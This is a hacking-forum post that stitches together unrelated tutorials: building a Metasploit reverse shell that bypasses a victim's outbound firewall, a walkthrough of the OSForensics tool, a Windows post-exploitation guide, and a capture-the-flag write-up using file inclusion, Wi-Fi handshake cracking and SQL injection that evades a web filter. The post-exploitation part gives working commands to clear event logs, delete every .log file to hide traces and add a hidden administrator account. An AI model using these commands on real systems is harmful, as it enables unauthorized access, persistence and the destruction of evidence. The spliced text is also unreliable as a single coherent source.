Login

**NINZA** · 05-14-2020, 08:10 AM

0			0

Introduction
Network Address Translation generally involves “re-writing the source and/or destination addresses of IP packets as they pass through a router or firewall” (from

[To see content please register here]

)
The Linux kernel usually possesses a packet filter framework called netfilter (Project home: netfilter.org). This framework enables a Linux machine with an appropriate number of network cards (interfaces) to become a router capable of NAT. We will use the command utility ‘iptables’ to create complex rules for modification and filtering of packets. The important rules regarding NAT are – not very surprising – found in the ‘nat’-table. This table has three predefined chains: PREROUTING, OUTPUT und POSTROUTING.
ALL-PORTS payload:-
‘reverse_tcp’ only allows connection to one port, but if the victim has blocked outgoing connections except a few ports. Then it makes it difficult for the attacker to set a port for listening. ‘reverse_tcp _allports’ is used to to brute-force all the ports from {1-65535}.
We use iptables to reroute any incoming connection to the listening port.
Let’s begin
We use metasploit to create a meterpreter reverse shell.
msfvenom -p windows/meterpreter/reverse_tcp_allports lhost=192.168.1.139 lport=4444 -f exe > reverse_shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp_allports lhost=192.168.1.139 lport=4444 -f exe > reverse_shell.exe
[Image: 1.png?w=687&ssl=1]

We now setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_allports
msf exploit(multi/handler) > set lhost 192.168.1.139
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_allports
msf exploit(multi/handler) > set lhost 192.168.1.139
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
[Image: 2.png?w=687&ssl=1]

Now we setup the firewall on our windows machine. We open firewall and select outbound connections.
[Image: 3.png?w=687&ssl=1]

We select ports to define the ports we need to block.
[Image: 4.png?w=687&ssl=1]

We select tcp to block tcp packets, and select port from 4444-5555.
[Image: 5.png?w=687&ssl=1]

Now we select ‘Block the connection’ to block all the outgoing traffic packets from these ports.
[Image: 6.png?w=687&ssl=1]

Now we select the types of connection the firewall applies to.
[Image: 7.png?w=687&ssl=1]

We now name the firewall rule as “REVERSE_SHELL” and click finish to apply the rule.
[Image: 8.png?w=687&ssl=1]

Now we define iptables to reroute all traffic coming to port 4444-5556 to port 4444. So that when the reverse shell tries to connect to our system on port 5556 it will be rerouted to port 4444.
iptables -A PREROUTING -t nat -p tcp --dport 4444:5556 -j REDIRECT –to-port 4444
1
iptables -A PREROUTING -t nat -p tcp --dport 4444:5556 -j REDIRECT –to-port 4444
[Image: 9.png?w=687&ssl=1]

As soon as the victim runs the file we get our reverse shell.
[Image: 10.png?w=687&ssl=1]

About Forensics
OSForensics from PassMark Software is a digital computer forensic application which lets you extract and analyze digital data evidence efficiently and with ease. It discovers, identifies and manages ie uncovers everything hidden inside your computer systems and digital storage devices.
OSForensics is a self-capable and standalone toolkit which has almost all the digital forensics capabilities including Data acquisition, extraction, analysis, email analysis, data imaging, image restoration and much more.
In this article, we will cover all the major capabilities of OSForensics for digital forensics investigations.
Undiscovering OSForensics
To start with open OSForensics, we can see the OSForensics window open.
[Image: 1.png?w=687&ssl=1]

On the left-hand side are the main options/ capabilities of forensic we will be talking about in details.
Please note that the start option highlights the main tools. Features of OSF which are widely used the same options can also be accessed through the tabs on the left pane.
The first option is Manage Case:
Whatever task/operation we want to perform in OSF, it is always advisable to create a case for that. Creating a case is also helpful to distinguish multiple processes/operations from one another and also act as a container of the work done which is also helpful in future reference.
To create a new case click on the Create Case icon in start option or new case button in Manage case option and provide all the relevant details related to the case. Also, note the location where we want to save the case.
[Image: 2.png?w=687&ssl=1]

Enter all the details and click on OK, we can see the case getting listed. If are working on more than one case at a time or we have multiple cases listed on OSF we need to select which case we need to work on. To do this select the case and click on the load case, we will see a green check mark against the case which is presently loaded.
We can delete any case or import a case from an already created case.
[Image: 3.png?w=687&ssl=1]

For this article we will be working on NPFJeane case, it is a demo case (E01) of which we will be doing forensics investigation. (This will be our evidence, we can do the same with any other data or computer disk).To add the evidence to our case click on add device.
[Image: 3a.png?w=687&ssl=1]

Select the image file and browse for the Evidence file and click open.
[Image: 3b.png?w=687&ssl=1]

All the partitions in the acquired image will get listed. Select the partition and click OK.
[Image: 3c.png?w=687&ssl=1]

The evidence will get added and evidence name will get displayed. If required we can change the display name.
[Image: 3d.png?w=687&ssl=1]

Once successfully added the evidence will get listed as shown below.
File Search
This option is used to search any particular file name, to search any particular file we can simply give the file name and browse for the drive, directory or any other location we need to search.
[Image: 4a.png?w=687&ssl=1]

There is a preset option we can use this to select any particular file category
[Image: 5a.png?w=687&ssl=1]

Also, we can filter/refine the file search by changing the configuration settings, to do so click on the config button and change the settings as required.
[Image: 6.png?w=687&ssl=1]

Click on OK and in file search window enter the filename and click on search, Depending on the data volume The search will take a little time and will display the results. In our search, we have searched the term “Sale” and this will show all the files who have the term “resume” in their name.
[Image: 7a.png?w=687&ssl=1]

We can also view the searched files in thumbnails
[Image: 8a.png?w=687&ssl=1]

And timeline view. Timeline view will show a bar graph representation of that keyword on the basis of time and keyword count.
[Image: 9.png?w=687&ssl=1]

This ends the file search.
Create Index / Indexing
Index search is a more deep and refined search and also very vital for forensic investigations.
The most intuitive method for keyword searching is to provide a single keyword and search for the occurrence of that keyword within our data/evidence. To achieve this objective the best way is to create an index of the drive/directory within which we need to perform a search. An index is simply a list of offsets for occurrences of required keywords. Indexing allows searching within the contents of many files /drive/directory /image file at once.
[Image: 10.png?w=687&ssl=1]

In OSF we can either be indexed on the predefined files types
[Image: 11.png?w=687&ssl=1]

Or can create a customized template
[Image: 12.png?w=687&ssl=1]

We can select the extensions we need to search on, skip any file or folder by specifying its name or by limiting the file size. Customize the template and click OK
[Image: 13.png?w=687&ssl=1]

Customize the template and click OK. Click on next and proceed to Step 2. Here we need to select the drive or directory we want to index and select the indexing option from the drop-down as shown below and click on OK.
[Image: 15a.png?w=687&ssl=1]

The image, drive or folder selected will get listed, (we can add multiple drives/directories) for indexing.
[Image: 16a.png?w=687&ssl=1]

Click on next and proceed to step 3
Now we will get a view of the drives we are indexing along with the extensions that will be indexed. If everything is as per requirement click “Start Indexing” else click the “Back” button to make any changes.
[Image: 17a.png?w=687&ssl=1]

Indexing will start and depending on the data it will take some time for the indexing to complete.
[Image: 18a.png?w=687&ssl=1]

Initially, Prescan is performed and immediately after Pre-Scan indexing will start automatically
[Image: 19a.png?w=687&ssl=1]

Once indexing is complete, we will get a pop up with indexing finished message.
[Image: 20.png?w=687&ssl=1]

We can also check the index log to check the status /result of indexing and any error that the system may have occurred during indexing.
[Image: 21a.png?w=687&ssl=1]

Search Index
Above we have indexed the drive for keyword searching, now we will actually search for the keywords in the indexed drive/directory.
To start with click on the search index.
We can see all the drive we have indexed in a drop down
[Image: 22a.png?w=687&ssl=1]

We can either enter the keywords we want to search one by one in the “Enter Search Word” tab click on search and will get the result on the screen. We have searched for the keyword “Sales”, inside our evidence and can see all the files containing the word Ethical.
[Image: 23.png?w=687&ssl=1]

Also, we can upload the keywords we want to search in a text file and upload it, this option is suitable if we want to search for multiple keywords at the same time.
We have created a text file named key.txt with three keywords and saved it on the desktop.
[Image: 24.png?w=687&ssl=1]

To upload this file click on “Use Word List File” and upload the above-referred file
We can see the result of the keywords in the screen along with the total number of hits of each keyword in the indexed directory, under history Tab.
[Image: 25.png?w=687&ssl=1]

Double click on the keyword in the list and all the files containing that particular keyword will get listed under the file tab.
[Image: 26.png?w=687&ssl=1]

This ends the Indexing and searches under-indexing.
For more on OSForensics wait for the next article.

This article is about Post Exploitation on the Victim’s System using the Windows Command Line. When an Attacker gains a meterpreter session on a Remote PC, then he/she can enumerate a huge amount of information and make effective changes using the knowledge of the Windows Command Line.
Requirement
Attacker: Kali Linux
Target: Window PC
To execute this, we will first Obtain the meterpreter session of the Remote PC which you can learn from

[To see content please register here]

. After gaining the session, escalate its privileged to Administrator which you can learn from

[To see content please register here]

.
Now to access the windows command line, type ‘shell’ in the meterpreter shell.
Let’s Start!!
Obtain User Details and its Privileges
After gaining the meterpreter shell or windows command line, before doing any work. It is important to know the current user. This command is usually used to verify that the account that we were trying to access is the one we got. This can be simply done using the command whoami.
To increase our reach, we will an option in the “whoami” command:
[/all]: To show all the details about the user.
whoami /all
1
whoami /all
As seen below we have the username, SID and local group details
[Image: 1.png?w=687&ssl=1]

We also Obtain details about the privileges that are enabled or disabled to the user we are currently logged on.
[Image: 2.png?w=687&ssl=1]

Obtain the System Info
This command helps us enumerate lots of information regarding the system like hostname, domain, time zone and much more.
systeminfo
1
systeminfo
[Image: 3.png?w=687&ssl=1]

We can sort the basic system details such as (Manufacturer, Build, and Model) of the victim’s System using findstr.
systeminfo | findstr System
1
systeminfo | findstr System
As shown in the below screenshot we have the Boot Time, Manufacturer, Model, Type, Directory and Language of the Victim’s System.
[Image: 4.png?w=687&ssl=1]

We can obtain the location (as close as the country) of the victim’s System using systeminfo.
Here we are using findstr with systeminfo to filter the systeminfo results.
systeminfo | findstr Time
1
systeminfo | findstr Time
As shown in the below screenshot we have the Time Zone (UTC+05:30), so we can say that the victim’s System is in “INDIA”.
[Image: 5.png?w=687&ssl=1]

Obtain Memory Details (Physical, Virtual, In Use, Free)
We can Obtain the basic memory details of the victim’s System using systeminfo.
Here we are using findstr with systeminfo to filter the systeminfo results.
systeminfo | findstr Memory
1
systeminfo | findstr Memory
As shown in the below screenshot we have the Total Physical Memory 3.5 GB out of which 1.6 GB is available, we are also Obtaining Virtual Memory Details.
[Image: 6.png?w=687&ssl=1]

Obtain the List System Drivers
We can display a list of all installed device drivers on the victim’s system and their properties through the command called driverquery.
driverquery
1
driverquery
[Image: 7.png?w=687&ssl=1]

Obtain the List of Kernel Drivers
We can the list of Kernel Drivers on the victim’s System using driverquery.
Here we are using findstr with driverquery to filter the driverquery results.
driverquery | findstr Kernel
1
driverquery | findstr Kernel
As seen below we have obtained a list of kernel drivers which can be used to get the direct exploits to the Victim’s System.
[Image: 8.png?w=687&ssl=1]

Obtain the List of File System Drivers
We can the list of File System Drivers on the victim’s System using driverquery.
Here we are using findstr with driverquery to filter the driverquery results.
driverquery | findstr "File System"
1
driverquery | findstr "File System"
[Image: 9.png?w=687&ssl=1]

Display Info about a Particular Service
We can obtain information about a particular service using the sc command. Here we are using the following options with the sc command:
[query] to Obtain the names of a service.
Syntax: sc query [service name]
sc query wuauserv
1
sc query wuauserv
[Image: 10.1.png?w=687&ssl=1]

Obtain the list of Active Tasks
We can obtain information about running tasks using the tasklist command.
This command shows the name of the task running along with the Process ID (PID), Session Name, Session Number and Memory Usage.
tasklist
1
tasklist
[Image: 10.png?w=687&ssl=1]

We can sort the output of tasklist according to the modules using the following options of tasklist command:
[/m]: To specify the Modules in Tasklist
But we will have to mention the module which is to be used to sort the Tasklist.
Syntax: tasklist /m [Module Name]
tasklist /m ntdll.dll
1
tasklist /m ntdll.dll
Here we can see all the tasks linked with the ntdll.dll module.
[Image: 11.png?w=687&ssl=1]

Killing Tasks
We can kill tasks on the Victim’s System using a command called taskkill.
Taskkill requires either one of two things:

Process Id
Task Name

Here we are going to use the [/f] option in taskkill, it enables the Taskkill to forcefully kill the tasks.
Killing the Tasks using the Process ID
Syntax: taskkill /f /pid [Process id of Task]
taskkill /f /pid 7236
1
taskkill /f /pid 7236
[Image: 12.png?w=687&ssl=1]

Killing the Tasks using the Task Name
Syntax: taskkill /f /im “[Task Name]”
taskkill /f /im "Taskmgr.exe"
1
taskkill /f /im "Taskmgr.exe"
[Image: 13.png?w=687&ssl=1]

Start or Stopping Services
We can start a service or some backdoor without the knowledge of the Victim using the sc command.
Here we are using the following options with sc command:
[start] to start a service.
Syntax:sc start [Service Name]
sc start TeamViewer
1
sc start TeamViewer
As you can see in the below image the service has started.
[Image: 14.png?w=687&ssl=1]

We can also stop a service using the sc command. Here we are using the following options with sc command:
[stop] to start a service.
Syntax:sc stop [Service Name]
sc stop TeamViewer
1
sc stop TeamViewer
As you can see in the below image the process Stopped
[Image: 15.png?w=687&ssl=1]

List all the logs on the System
We can obtain a list of all the logs on a system using the wevtutil command. Here we are using the following options with the wevtutil command:
[el] to List log names.
wevtutil el
1
wevtutil el
[Image: 16.png?w=687&ssl=1]

Clear a specific login the System
We can clear a specific log on a system using the wevtutil command. Here we are using the following options with the wevtutil command:
[cl] to List log names.
Syntax: wevtutil cl [log name]
wevtutil cl System
1
wevtutil cl System

Find all the Hard Disk/Storage Partitions on a System
While penetration testing a Remote PC, knowledge of all the Hard Disk or Storage Devices and Partitions is essential so that we can sweep all the partitions and Storage Devices in hope to find data of any particular importance.
This can be done using the fsutil command. Here we are using the following options with the fsutil command:
[fsinfo] to view file system info.
[drives] to list all drives.
fsutil fsinfo drives
1
fsutil fsinfo drives
As you can see below that the Victim System has 4 Hard Disk Partitions C, D, E and F
[Image: 18.png?w=687&ssl=1]

Delete all logs on a System
While penetration testing a remote pc, it is essential to remove the trace of your activities, so we need to remove the evidence of our presence which can be found in log files.
The entire Log file has a .log extension so we are going to sweep the System Directory for files with extension .log and delete them with del command.
Note: Use this command with the path set to System Directory (In my case it is C:\)
Here we are using the following options with the del command:
[/a] to select files based on attributes.
[/s] to select System Files (/s is an attribute so it is to be used after /a)
[/q] to use Quiet Mode (It doesn’t ask if OK to delete on global wildcards)
[/f] to force delete the read-only files
Syntax: del [Directory]\*.log /a /s /q /f
del \*.log /a /s /q /f
1
del \*.log /a /s /q /f
As you can see in the below screenshot the process of detecting and deleting the files with the .log extension has started.
[Image: 19.png?w=687&ssl=1]

Manage Local Users
While penetration testing a remote PC, it is important to obtain the list of Local Users so that the attacker can gain information about the various users assigned to that particular system.
This can be done using net command. Here we are using the following options to be used with the net command:
[-user] to display the list of local users
net user
1
net user
It is always advantageous to add a user in the Local Groups so that the attacker can perform certain tasks on that system.
This can be done using net command. Here we are using the following options with the net command:
Syntax:net user [logon_name] [password] /add
net user hacker pass123 /add
1
net user hacker pass123 /add
Many times, we come across a situation where we will have to perform certain administrative tasks, so we will add the user we created to the Administrative local group
Here we are using the following options to be used with the net command:
[-localgroup] to select the list of local groups
Syntax: net localgroup administrators [logon_name] /add
net localgroup administrators hacker/add
1
net localgroup administrators hacker/add
In the above example, I have added a user in the local administrator’s group named as the hacker. We can verify using the “net user” command
Now, during the clean-up process, it is important to delete the local user-created.
This can be done using net command. Here we are using the following options with the net command:
Syntax: net user [logon_name] /del
net user hacker /del
1
net user hacker /del
Here you can see that I have used the net command to add a user, making it a member of the administrator local group and then deleting that user.
[Image: 20.png?w=687&ssl=1]

Display the List of all Scheduled Tasks
While penetration testing a remote PC, it is necessary to know the scheduled tasks to plan the attacks accordingly to further penetrate the Victim’s System. This can be done using schtasks.
[Image: 21.png?w=687&ssl=1]

We can sort schtasks so as to obtain a better readable format i.e. in a List Format.
Here we are using the following options with the schtasks command:
[/query]to display all scheduled tasks
[/fo] to specify the format of the Output (In this case we use List)
[/v] to use verbose mode
schtasks /query /fo LIST /v
1
schtasks /query /fo LIST /v
[Image: 22.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as USV: 2017. The credit for making this vm machine goes to “Suceava University” and it is another capture the flag challenge in which our goal is to find 5 flags to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.18 but you will have to find your own)
Let’s do an nmap scan for port enumeration.
nmap -A -p- 192.168.0.18
1
nmap -A -p- 192.168.0.18
[Image: 1.png?w=687&ssl=1]

We find port 21,22,80,4369,5222,5269,5280,15020,33939 to be open. Port 80 is running http and port 15020 is running https.
So we first open 192.168.0.18 in our browser.
[Image: 2.png?w=687&ssl=1]

We don’t find anything on this page so we enumerate the directories for further information.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

During our directory enumeration we find a page called admin2, we open it in our browser and find it to be login page.
[Image: 4.png?w=687&ssl=1]

We take a look at the source code and find that the password is hidden itself in the page. The page uses javascript to verify the password. The javascript is in hex encode
[Image: 5.png?w=687&ssl=1]

We first decrypt the hex encode and find that if the value is 1079950212331060 it will let you enter or it will show wrong password. Now the final value is calculated using a formula:
(stringconcat(password+4469)-234562221224)*1988=1079950212331060
Now when we calculate the value of the password we find it to be 77779673. When we enter it we get the 1st flag.
[Image: 6.png?w=687&ssl=1]

Now we open the ip 192.168.0.18 at port 15020 as it is running another apache service. When we open the ip on our browser we find that we need to install ssl certificate. We take a look at the details of the certificate for information; at the issuer section we find our 2nd flag.
[Image: 7.1.png?w=687&ssl=1]

We accept the certificate and open the web page.
[Image: 7.png?w=687&ssl=1]

We don’t find anything on the webpage. So we enumerate the directories on this page.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Here we find two interesting directories blog/ and vault/. The vault/ directory contain an enormous amount of directories so we leave it for now.
We open blog/ directory and find a few blogs with few comments.
[Image: 9.png?w=687&ssl=1]

Now going through the blogs we find kevin’s blog with 1 comment that hints it has a flag inside his home directory.
[Image: 10.png?w=687&ssl=1]

We take a look inside source code and hint to open a php file called download.php.
[Image: 11.png?w=687&ssl=1]

When we open it we find to use image parameter to open file, this page maybe vulnerable to LFI.
[Image: 12.png?w=687&ssl=1]

We cannot exploit LFI vulnerability using the browser, we use post data using curl to exploit the LFI vulnerability.
curl -d "image=/etc/passwd"

[To see content please register here]

-k
1
curl -d "image=/etc/passwd"

[To see content please register here]

-k

Now as it was wriiten in the comment of kevin’s blog we check for the flag in /home/kevin/ directory and find the 3rd flag.
curl -d "image=/home/kevin/flag.txt"

[To see content please register here]

-k
1
curl -d "image=/home/kevin/flag.txt"

[To see content please register here]

-k

Now we go to the other vault/ directory, it contains a lot of directories so we download it on our system to make it easier for us to look through the directories. We download the entire site using recursive download utility of wget.
wget -r –no-check-certificate

[To see content please register here]

1
wget -r –no-check-certificate

[To see content please register here]

Now we use find command to look for files and we use grep to rule out .html files. We found two files rockyou.zip and and a cap file.
find ./ -type f | grep -v .html
1
find ./ -type f | grep -v .html
[Image: 18.png?w=687&ssl=1]

We open the cap file using wireshark going through the packets we found it to be a wifi handshake file.
[Image: 20.png?w=687&ssl=1]

We use this site here to convert the cap file to hccapx, to make it compatible for hashcat.
[Image: 21.png?w=687&ssl=1]

Now we use hashcat to decrypt the the handshake. We use the wordlist provided by the server just in case it had some extra keywords.
hashcat -m 2500 -a 0 ctf.hccapx 192.168.0.18:15020/rockyou.txt
1
hashcat -m 2500 -a 0 ctf.hccapx 192.168.0.18:15020/rockyou.txt
[Image: hash.png?w=687&ssl=1]

We use username admin and the password we find from hashcat that is “minion.666” to login through the admin page.
[Image: 22.png?w=687&ssl=1]

As soon as we login this page, we find that this page maybe vulnerable to sql injection.
Now we use burpsuite to capture the request and use CO2 extension of burpsuite to exploit the sql injection but first we take a look at the source code.
[Image: 23.png?w=687&ssl=1]

When we look at the source code we find our 4th flag.
[Image: 24.1.png?w=687&ssl=1]

Now we use CO2 for SQL injection. We select database, tables, columns and dump to grab all the name of databases,tables and columns.
[Image: 24.2%2B%25281%2529.png?w=687&ssl=1]

[Image: 24.2%2B%25281%2529.png?w=687&ssl=1]

It gave us the name of the database, tables and columns. Unfortunately it couldn’t dump the database for some reason. So we manually exploit the sql injection through the browser.
[Image: 24.png?w=687&ssl=1]

We find that the server uses a firewall that blocks any sql query. We use normalization method to bypass this firewall. With name of the columns and table we were able to execute our SQL injection.

[To see content please register here]

/*union*/union/*all*/all/*select*/select%20,1,login,password,4%20from%20users%20order%20by%201%20limit%201,1
1

[To see content please register here]

/*union*/union/*all*/all/*select*/select%20,1,login,password,4%20from%20users%20order%20by%201%20limit%201,1
When we change the parameter of the id the output also changes, after going through different parameters we find that parameter 7 gave us our 5th and final flag.
[Image: 25.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis